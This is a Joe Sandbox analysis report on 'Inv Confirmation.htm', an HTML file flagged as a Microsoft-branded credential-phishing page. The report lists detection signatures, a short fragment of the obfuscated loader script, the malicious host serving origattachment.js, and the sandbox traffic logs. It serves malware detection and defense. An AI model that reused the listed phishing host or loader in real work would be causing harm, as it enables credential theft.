Edit tour

Windows Analysis Report
Inv Confirmation.htm

Overview

General Information

Sample name:	Inv Confirmation.htm
Analysis ID:	1541492
MD5:	66d22fda33da3d3254bb4ecc8cb8adf3
SHA1:	a928b4b11b54518d7669c560c21af77265790757
SHA256:	25608b0409a1b12f6b5085870214b17b3d6cd1088ebbf6976bfad906c949d338
Infos:

Detection

HTMLPhisher

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

HTML page contains obfuscated javascript

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Suspicious Javascript code found in HTML file

Detected non-DNS traffic on DNS port

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Submit button contains javascript call

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Inv Confirmation.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2540,i,13632761524752207932,15228778839734499791,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.0.pages.csv
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Inv Confirmation.htm

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: New script tag found

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

Tab title: Sign in to your account

HTML page contains obfuscated javascript

Source: https://annematt.l4r4.shop/origattachment.js

HTTP Parser: var _0x34588b=_0x528f;(function(_0x6f4909,_0x59cfa8){var _0x1dc4e3=_0x528f,_0x582c11=_0x6f4909();whi

Phishing site detected (based on favicon image match)

Source: file://	Matcher: Template: microsoft matched with high similarity
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	Matcher: Template: microsoft matched
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	Matcher: Template: microsoft matched

Suspicious Javascript code found in HTML file

Source: Inv Confirmation.htm

HTTP Parser: document.write

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: On click: return checkmyEmail()
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: On click: return checkPassy()
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: On click: return checkmyEmail()
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: On click: return checkPassy()

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Inv%20Confirmation.htm	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:56429 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.5:56422 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212

Source: global traffic	HTTP traffic detected: GET /origattachment.js HTTP/1.1Host: annematt.l4r4.shopConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /origattachment.js HTTP/1.1Host: annematt.l4r4.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uUPoP5nkBVgDXfP&MD=EdkSUG8H HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
